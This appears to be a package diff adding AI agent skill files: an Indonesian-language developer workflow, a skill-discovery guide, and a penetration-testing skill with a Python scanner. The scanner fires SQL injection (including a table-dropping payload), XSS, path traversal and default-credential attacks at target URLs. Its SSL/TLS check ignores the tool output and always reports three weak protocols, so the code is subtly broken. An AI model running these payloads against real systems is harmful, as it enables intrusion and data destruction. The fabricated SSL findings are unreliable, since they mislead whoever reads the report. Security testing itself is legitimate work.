create-vasvibe 0.1.0

package/template/.agents/skills/developer/SKILL.md

@@ -0,0 +1,93 @@
+---
+name: developer
+description: "use to coding"
+model: sonnet
+color: blue
+memory: project
+---
+
+**ACT AS:** Senior Fullstack Developer.
+**CONTEXT:** Mengimplementasikan fitur berdasarkan spesifikasi.
+
+**INSTRUCTION STEPS:**
+
+1.  **Load Context:**
+    - Baca file spesifikasi target (misal: `specification/001_...md`).
+    - Baca file `development_log.md` (jika ada) untuk memahami progress terakhir.
+    - **BACA file `task/task_list.md`** untuk menemukan task yang akan dikerjakan.
+2.  **Repo Management (CRITICAL - lakukan sebelum mulai coding):**
+
+
+    - **PENTING — Struktur Repo:** Workspace ini terdiri dari DUA repo git terpisah:
+      - **Agent repo** (root): `{project-name}/` — berisi semua file agent, spec, task, logs. Jangan commit kode produk di sini.
+      - **Product repo** (subfolder): `codes/` — repo git terpisah yang di-push ke `{repo-url}`. Semua operasi git untuk kode produk dilakukan DI DALAM folder `codes/`.
+    - **Semua perintah git untuk kode produk harus dijalankan dari dalam folder `codes/`.**
+    - **Cek branch saat ini** dengan `git -C codes/ branch --show-current` (atau masuk ke folder codes terlebih dahulu).
+    - **Apakah branch sudah sesuai** dengan fitur yang akan dikembangkan?
+      - **Jika YA:** Lanjut ke step 3.
+      - **Jika TIDAK:**
+        - Cek apakah ada perubahan yang belum di-commit dengan `git -C codes/ status`.
+        - **Jika ada perubahan belum ter-commit:** HENTIKAN pekerjaan. Informasikan kepada user bahwa branch saat ini masih memiliki perubahan yang belum di-commit. Minta user untuk commit, push, dan merge fitur tersebut ke branch `development` terlebih dahulu sebelum melanjutkan.
+        - **Jika semua sudah ter-commit (working tree clean):**
+          1. Pindah ke branch `development`: `git -C codes/ checkout development`.
+          2. Pull perubahan terbaru: `git -C codes/ pull origin development`.
+          3. Buat atau pindah ke branch yang sesuai dengan fitur:
+             - Jika branch sudah ada: `git -C codes/ checkout nama-branch-fitur`.
+             - Jika branch belum ada: `git -C codes/ checkout -b nama-branch-fitur`.
+    - **Jika dari awal sudah di branch `development`:**
+      1. Pull perubahan terbaru: `git -C codes/ pull origin development`.
+      2. Buat branch baru yang sesuai dengan fitur yang akan dikembangkan: `git -C codes/ checkout -b nama-branch-fitur`.
+    - **Konvensi nama branch:** gunakan format `feature/nama-fitur` (misal: `feature/login`, `feature/payment-gateway`).
+    - **JANGAN lakukan commit dan push otomatis** setelah pekerjaan selesai. Hasil pekerjaan perlu diverifikasi oleh user terlebih dahulu.
+
+3.  **Update Task Status - START (CRITICAL):**
+    - Cari task yang sesuai dengan spesifikasi yang akan dikerjakan di `task/task_list.md`.
+    - **UPDATE status task** dari `not_started` menjadi `dev`.
+    - Update field **"Last Updated"** dengan timestamp saat ini [YYYY-MM-DD HH:MM].
+    - Update field **"Assigned To"** dengan "Developer Agent".
+4.  **Directory Check:** Cek apakah folder `codes/` ada. Jika tidak, **BUAT FOLDERNYA**.
+5.  **Action (Coding):**
+    - Sebelum memulai coding, pastikan Anda memahami seluruh spesifikasi dengan baik.
+    - Pastikan spesifikasi yang akan diimplementasikan sudah disetujui oleh human Analyst. Jika belum, hentikan pekerjaanmu dan minta klarifikasi.
+    - Tulis source code yang sesuai dengan Tech Stack di `project_overview.md`.
+    - Simpan file source code di dalam folder `codes/`.
+    - Perhatikan detail UI/UX jika ada instruksi visual.
+    - Perhatikan apakah setiap spesifikasi terdiri dari frontend dan backend atau salah satu saja.
+    - Lakukan _Self-Reflection_: "Apakah kode ini aman? Apakah efisien?"
+    - Buat unit test yang bisa dieksekusi secara otomatis menggunakan framework dan tool yang tersedia seperti jest.
+6.  **Logging (CRITICAL):**
+    Setelah kode selesai ditulis, lakukan pencatatan:
+    - **Cek Folder:** Pastikan folder `logs/development/{nama_file_spec_asli}/` tersedia. Jika belum, BUAT folder tersebut.
+    - **Nama File Log:** Gunakan format `dev_[nama_file_spec_asli].md`.
+      - _Contoh:_ Jika spec adalah `001_spec_login.md`, maka log bernama `logs/development/dev_001_spec_login.md`.
+    - **Isi Log (Template):**
+
+      ```markdown
+      # DEVELOPMENT LOG
+
+      **Target Spec:** [Nama File Spec]
+      **Date:** [YYYY-MM-DD HH:MM]
+      **Status:** [Completed / Partial]
+
+      ## 1. Implementation Summary
+
+      (Jelaskan secara naratif logika apa saja yang baru saja Anda bangun. Bagaimana data mengalir?)
+
+      ## 2. Files Created/Modified
+
+      - `codes/src/...` (Sebutkan fungsi utama file ini)
+      - `codes/components/...`
+
+      ## 3. Technical Notes
+
+      (Catatan untuk Developer lain atau QA. Misal: "Perlu set environment variable API_KEY dulu")
+      ```
+
+7.  **Update Task Status - COMPLETE (CRITICAL):**
+    - Setelah development selesai dan log sudah dibuat, kembali ke `task/task_list.md`.
+    - **UPDATE status task** dari `dev` menjadi `ready_to_test`.
+    - Update field **"Last Updated"** dengan timestamp saat ini [YYYY-MM-DD HH:MM].
+    - Tambahkan notes di field **"Notes"** jika ada informasi penting (misal: "Butuh environment variable X").
+
+**INPUT SAYA:**
+"Tolong implementasikan spesifikasi berikut: [NAMA FILE SPEC]"

package/template/.agents/skills/find-skills/SKILL.md

@@ -0,0 +1,142 @@
+---
+name: find-skills
+description: Helps users discover and install agent skills when they ask questions like "how do I do X", "find a skill for X", "is there a skill that can...", or express interest in extending capabilities. This skill should be used when the user is looking for functionality that might exist as an installable skill.
+---
+
+# Find Skills
+
+This skill helps you discover and install skills from the open agent skills ecosystem.
+
+## When to Use This Skill
+
+Use this skill when the user:
+
+- Asks "how do I do X" where X might be a common task with an existing skill
+- Says "find a skill for X" or "is there a skill for X"
+- Asks "can you do X" where X is a specialized capability
+- Expresses interest in extending agent capabilities
+- Wants to search for tools, templates, or workflows
+- Mentions they wish they had help with a specific domain (design, testing, deployment, etc.)
+
+## What is the Skills CLI?
+
+The Skills CLI (`npx skills`) is the package manager for the open agent skills ecosystem. Skills are modular packages that extend agent capabilities with specialized knowledge, workflows, and tools.
+
+**Key commands:**
+
+- `npx skills find [query]` - Search for skills interactively or by keyword
+- `npx skills add <package>` - Install a skill from GitHub or other sources
+- `npx skills check` - Check for skill updates
+- `npx skills update` - Update all installed skills
+
+**Browse skills at:** https://skills.sh/
+
+## How to Help Users Find Skills
+
+### Step 1: Understand What They Need
+
+When a user asks for help with something, identify:
+
+1. The domain (e.g., React, testing, design, deployment)
+2. The specific task (e.g., writing tests, creating animations, reviewing PRs)
+3. Whether this is a common enough task that a skill likely exists
+
+### Step 2: Check the Leaderboard First
+
+Before running a CLI search, check the [skills.sh leaderboard](https://skills.sh/) to see if a well-known skill already exists for the domain. The leaderboard ranks skills by total installs, surfacing the most popular and battle-tested options.
+
+For example, top skills for web development include:
+- `vercel-labs/agent-skills` — React, Next.js, web design (100K+ installs each)
+- `anthropics/skills` — Frontend design, document processing (100K+ installs)
+
+### Step 3: Search for Skills
+
+If the leaderboard doesn't cover the user's need, run the find command:
+
+```bash
+npx skills find [query]
+```
+
+For example:
+
+- User asks "how do I make my React app faster?" → `npx skills find react performance`
+- User asks "can you help me with PR reviews?" → `npx skills find pr review`
+- User asks "I need to create a changelog" → `npx skills find changelog`
+
+### Step 4: Verify Quality Before Recommending
+
+**Do not recommend a skill based solely on search results.** Always verify:
+
+1. **Install count** — Prefer skills with 1K+ installs. Be cautious with anything under 100.
+2. **Source reputation** — Official sources (`vercel-labs`, `anthropics`, `microsoft`) are more trustworthy than unknown authors.
+3. **GitHub stars** — Check the source repository. A skill from a repo with <100 stars should be treated with skepticism.
+
+### Step 5: Present Options to the User
+
+When you find relevant skills, present them to the user with:
+
+1. The skill name and what it does
+2. The install count and source
+3. The install command they can run
+4. A link to learn more at skills.sh
+
+Example response:
+
+```
+I found a skill that might help! The "react-best-practices" skill provides
+React and Next.js performance optimization guidelines from Vercel Engineering.
+(185K installs)
+
+To install it:
+npx skills add vercel-labs/agent-skills@react-best-practices
+
+Learn more: https://skills.sh/vercel-labs/agent-skills/react-best-practices
+```
+
+### Step 6: Offer to Install
+
+If the user wants to proceed, you can install the skill for them:
+
+```bash
+npx skills add <owner/repo@skill> -g -y
+```
+
+The `-g` flag installs globally (user-level) and `-y` skips confirmation prompts.
+
+## Common Skill Categories
+
+When searching, consider these common categories:
+
+| Category        | Example Queries                          |
+| --------------- | ---------------------------------------- |
+| Web Development | react, nextjs, typescript, css, tailwind |
+| Testing         | testing, jest, playwright, e2e           |
+| DevOps          | deploy, docker, kubernetes, ci-cd        |
+| Documentation   | docs, readme, changelog, api-docs        |
+| Code Quality    | review, lint, refactor, best-practices   |
+| Design          | ui, ux, design-system, accessibility     |
+| Productivity    | workflow, automation, git                |
+
+## Tips for Effective Searches
+
+1. **Use specific keywords**: "react testing" is better than just "testing"
+2. **Try alternative terms**: If "deploy" doesn't work, try "deployment" or "ci-cd"
+3. **Check popular sources**: Many skills come from `vercel-labs/agent-skills` or `ComposioHQ/awesome-claude-skills`
+
+## When No Skills Are Found
+
+If no relevant skills exist:
+
+1. Acknowledge that no existing skill was found
+2. Offer to help with the task directly using your general capabilities
+3. Suggest the user could create their own skill with `npx skills init`
+
+Example:
+
+```
+I searched for skills related to "xyz" but didn't find any matches.
+I can still help you with this task directly! Would you like me to proceed?
+
+If this is something you do often, you could create your own skill:
+npx skills init my-xyz-skill
+```

package/template/.agents/skills/penetration-testing/SKILL.md

@@ -0,0 +1,94 @@
+---
+name: penetration-testing
+description: >
+  Ethical hacking and security testing methodologies using penetration testing
+  tools, exploit frameworks, and manual security validation. Use when assessing
+  application security posture and identifying exploitable vulnerabilities.
+---
+
+# Penetration Testing
+
+## Table of Contents
+
+- [Overview](#overview)
+- [When to Use](#when-to-use)
+- [Quick Start](#quick-start)
+- [Reference Guides](#reference-guides)
+- [Best Practices](#best-practices)
+
+## Overview
+
+Systematic security testing to identify, exploit, and document vulnerabilities in applications, networks, and infrastructure through simulated attacks.
+
+## When to Use
+
+- Pre-production security validation
+- Annual security assessments
+- Compliance requirements (PCI-DSS, ISO 27001)
+- Post-incident security review
+- Third-party security audits
+- Red team exercises
+
+## Quick Start
+
+Minimal working example:
+
+```python
+# pentest_framework.py
+import requests
+import socket
+import subprocess
+import json
+from typing import List, Dict
+from dataclasses import dataclass, asdict
+from datetime import datetime
+
+@dataclass
+class Finding:
+    severity: str
+    category: str
+    target: str
+    vulnerability: str
+    evidence: str
+    remediation: str
+    cvss_score: float
+
+class PenetrationTester:
+    def __init__(self, target: str):
+        self.target = target
+        self.findings: List[Finding] = []
+
+    def test_sql_injection(self, url: str) -> None:
+// ... (see reference guides for full implementation)
+```
+
+## Reference Guides
+
+Detailed implementations in the `references/` directory:
+
+| Guide | Contents |
+|---|---|
+| [Automated Penetration Testing Framework](references/automated-penetration-testing-framework.md) | Automated Penetration Testing Framework |
+| [Burp Suite Automation Script](references/burp-suite-automation-script.md) | Burp Suite Automation Script |
+
+## Best Practices
+
+### ✅ DO
+
+- Get written authorization
+- Define clear scope
+- Use controlled environments
+- Document all findings
+- Follow responsible disclosure
+- Provide remediation guidance
+- Verify fixes after patching
+- Maintain chain of custody
+
+### ❌ DON'T
+
+- Test production without approval
+- Cause service disruption
+- Exfiltrate sensitive data
+- Share findings publicly
+- Exceed authorized scope
+- Use destructive payloads

package/template/.agents/skills/penetration-testing/references/automated-penetration-testing-framework.md

@@ -0,0 +1,328 @@
+# Automated Penetration Testing Framework
+
+## Automated Penetration Testing Framework
+
+```python
+# pentest_framework.py
+import requests
+import socket
+import subprocess
+import json
+from typing import List, Dict
+from dataclasses import dataclass, asdict
+from datetime import datetime
+
+@dataclass
+class Finding:
+    severity: str
+    category: str
+    target: str
+    vulnerability: str
+    evidence: str
+    remediation: str
+    cvss_score: float
+
+class PenetrationTester:
+    def __init__(self, target: str):
+        self.target = target
+        self.findings: List[Finding] = []
+
+    def test_sql_injection(self, url: str) -> None:
+        """Test for SQL injection vulnerabilities"""
+        print(f"Testing SQL injection on {url}")
+
+        payloads = [
+            "' OR '1'='1",
+            "'; DROP TABLE users--",
+            "' UNION SELECT NULL, NULL, NULL--",
+            "1' AND 1=1--",
+            "admin'--"
+        ]
+
+        for payload in payloads:
+            try:
+                response = requests.get(
+                    url,
+                    params={'id': payload},
+                    timeout=5
+                )
+
+                # Check for SQL errors
+                sql_errors = [
+                    'mysql_fetch_array',
+                    'SQLServer JDBC Driver',
+                    'ORA-01756',
+                    'PostgreSQL',
+                    'sqlite3.OperationalError'
+                ]
+
+                for error in sql_errors:
+                    if error in response.text:
+                        self.findings.append(Finding(
+                            severity='critical',
+                            category='SQL Injection',
+                            target=url,
+                            vulnerability=f'SQL Injection detected with payload: {payload}',
+                            evidence=f'Error message: {error}',
+                            remediation='Use parameterized queries or prepared statements',
+                            cvss_score=9.8
+                        ))
+                        break
+
+            except Exception as e:
+                print(f"Error testing {url}: {e}")
+
+    def test_xss(self, url: str) -> None:
+        """Test for Cross-Site Scripting vulnerabilities"""
+        print(f"Testing XSS on {url}")
+
+        payloads = [
+            "<script>alert('XSS')</script>",
+            "<img src=x onerror=alert('XSS')>",
+            "javascript:alert('XSS')",
+            "<svg onload=alert('XSS')>",
+            "'-alert('XSS')-'"
+        ]
+
+        for payload in payloads:
+            try:
+                response = requests.get(
+                    url,
+                    params={'q': payload},
+                    timeout=5
+                )
+
+                if payload in response.text:
+                    self.findings.append(Finding(
+                        severity='high',
+                        category='Cross-Site Scripting',
+                        target=url,
+                        vulnerability=f'Reflected XSS detected with payload: {payload}',
+                        evidence='Payload reflected in response without sanitization',
+                        remediation='Implement output encoding and Content Security Policy',
+                        cvss_score=7.3
+                    ))
+                    break
+
+            except Exception as e:
+                print(f"Error testing {url}: {e}")
+
+    def test_authentication(self, login_url: str) -> None:
+        """Test authentication mechanisms"""
+        print(f"Testing authentication on {login_url}")
+
+        # Test default credentials
+        default_creds = [
+            ('admin', 'admin'),
+            ('admin', 'password'),
+            ('root', 'root'),
+            ('administrator', 'administrator')
+        ]
+
+        for username, password in default_creds:
+            try:
+                response = requests.post(
+                    login_url,
+                    data={'username': username, 'password': password},
+                    timeout=5
+                )
+
+                if response.status_code == 200 and 'dashboard' in response.text.lower():
+                    self.findings.append(Finding(
+                        severity='critical',
+                        category='Weak Authentication',
+                        target=login_url,
+                        vulnerability=f'Default credentials accepted: {username}/{password}',
+                        evidence='Successful authentication with default credentials',
+                        remediation='Enforce strong password policy and remove default accounts',
+                        cvss_score=9.1
+                    ))
+
+            except Exception as e:
+                print(f"Error testing credentials: {e}")
+
+    def test_security_headers(self, url: str) -> None:
+        """Test for missing security headers"""
+        print(f"Testing security headers on {url}")
+
+        try:
+            response = requests.get(url, timeout=5)
+
+            critical_headers = {
+                'Strict-Transport-Security': 'HSTS not implemented',
+                'X-Frame-Options': 'Clickjacking protection missing',
+                'X-Content-Type-Options': 'MIME sniffing prevention missing',
+                'Content-Security-Policy': 'CSP not implemented',
+                'X-XSS-Protection': 'XSS protection header missing'
+            }
+
+            for header, description in critical_headers.items():
+                if header not in response.headers:
+                    self.findings.append(Finding(
+                        severity='medium',
+                        category='Missing Security Header',
+                        target=url,
+                        vulnerability=f'Missing header: {header}',
+                        evidence=description,
+                        remediation=f'Add {header} header to all responses',
+                        cvss_score=5.3
+                    ))
+
+        except Exception as e:
+            print(f"Error testing headers: {e}")
+
+    def test_directory_traversal(self, url: str) -> None:
+        """Test for directory traversal vulnerabilities"""
+        print(f"Testing directory traversal on {url}")
+
+        payloads = [
+            '../../../etc/passwd',
+            '..\\..\\..\\windows\\system32\\drivers\\etc\\hosts',
+            '....//....//....//etc/passwd',
+            '%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd'
+        ]
+
+        for payload in payloads:
+            try:
+                response = requests.get(
+                    url,
+                    params={'file': payload},
+                    timeout=5
+                )
+
+                # Check for Unix passwd file
+                if 'root:' in response.text or 'daemon:' in response.text:
+                    self.findings.append(Finding(
+                        severity='critical',
+                        category='Directory Traversal',
+                        target=url,
+                        vulnerability=f'Path traversal detected with payload: {payload}',
+                        evidence='System file contents exposed',
+                        remediation='Validate and sanitize file paths, use whitelist approach',
+                        cvss_score=8.6
+                    ))
+                    break
+
+            except Exception as e:
+                print(f"Error testing traversal: {e}")
+
+    def test_ssl_tls(self) -> None:
+        """Test SSL/TLS configuration"""
+        print(f"Testing SSL/TLS on {self.target}")
+
+        try:
+            result = subprocess.run(
+                ['testssl.sh', '--jsonfile', 'ssl-results.json', self.target],
+                capture_output=True,
+                text=True,
+                timeout=60
+            )
+
+            # Parse SSL test results
+            # This is a simplified check
+            weak_protocols = ['SSLv2', 'SSLv3', 'TLSv1.0']
+            for protocol in weak_protocols:
+                self.findings.append(Finding(
+                    severity='high',
+                    category='Weak SSL/TLS',
+                    target=self.target,
+                    vulnerability=f'Weak protocol enabled: {protocol}',
+                    evidence='Outdated SSL/TLS protocol support',
+                    remediation='Disable weak protocols, enforce TLS 1.2+',
+                    cvss_score=7.5
+                ))
+
+        except Exception as e:
+            print(f"SSL test error: {e}")
+
+    def run_full_pentest(self, target_urls: List[str]) -> Dict:
+        """Execute comprehensive penetration test"""
+        for url in target_urls:
+            self.test_sql_injection(url)
+            self.test_xss(url)
+            self.test_security_headers(url)
+            self.test_directory_traversal(url)
+
+        self.test_ssl_tls()
+
+        return self.generate_report()
+
+    def generate_report(self) -> Dict:
+        """Generate comprehensive pentest report"""
+        summary = {
+            'critical': 0,
+            'high': 0,
+            'medium': 0,
+            'low': 0
+        }
+
+        for finding in self.findings:
+            if finding.severity in summary:
+                summary[finding.severity] += 1
+
+        report = {
+            'timestamp': datetime.now().isoformat(),
+            'target': self.target,
+            'total_findings': len(self.findings),
+            'summary': summary,
+            'findings': [asdict(f) for f in self.findings],
+            'risk_score': self._calculate_risk_score(),
+            'recommendations': self._generate_recommendations()
+        }
+
+        with open('pentest-report.json', 'w') as f:
+            json.dump(report, f, indent=2)
+
+        return report
+
+    def _calculate_risk_score(self) -> float:
+        """Calculate overall risk score"""
+        if not self.findings:
+            return 0.0
+
+        total_cvss = sum(f.cvss_score for f in self.findings)
+        return round(total_cvss / len(self.findings), 2)
+
+    def _generate_recommendations(self) -> List[str]:
+        """Generate prioritized recommendations"""
+        recommendations = []
+
+        categories = {}
+        for finding in self.findings:
+            if finding.category not in categories:
+                categories[finding.category] = []
+            categories[finding.category].append(finding)
+
+        for category, findings in sorted(
+            categories.items(),
+            key=lambda x: len(x[1]),
+            reverse=True
+        ):
+            recommendations.append(
+                f"Address {len(findings)} {category} vulnerabilities"
+            )
+
+        return recommendations[:5]
+
+# Usage
+if __name__ == '__main__':
+    tester = PenetrationTester('https://example.com')
+
+    target_urls = [
+        'https://example.com/api/users',
+        'https://example.com/search',
+        'https://example.com/download'
+    ]
+
+    report = tester.run_full_pentest(target_urls)
+
+    print("\n=== Penetration Test Report ===")
+    print(f"Target: {report['target']}")
+    print(f"Total Findings: {report['total_findings']}")
+    print(f"Risk Score: {report['risk_score']}")
+    print(f"\nFindings by Severity:")
+    print(f"  Critical: {report['summary']['critical']}")
+    print(f"  High: {report['summary']['high']}")
+    print(f"  Medium: {report['summary']['medium']}")
+    print(f"  Low: {report['summary']['low']}")
+```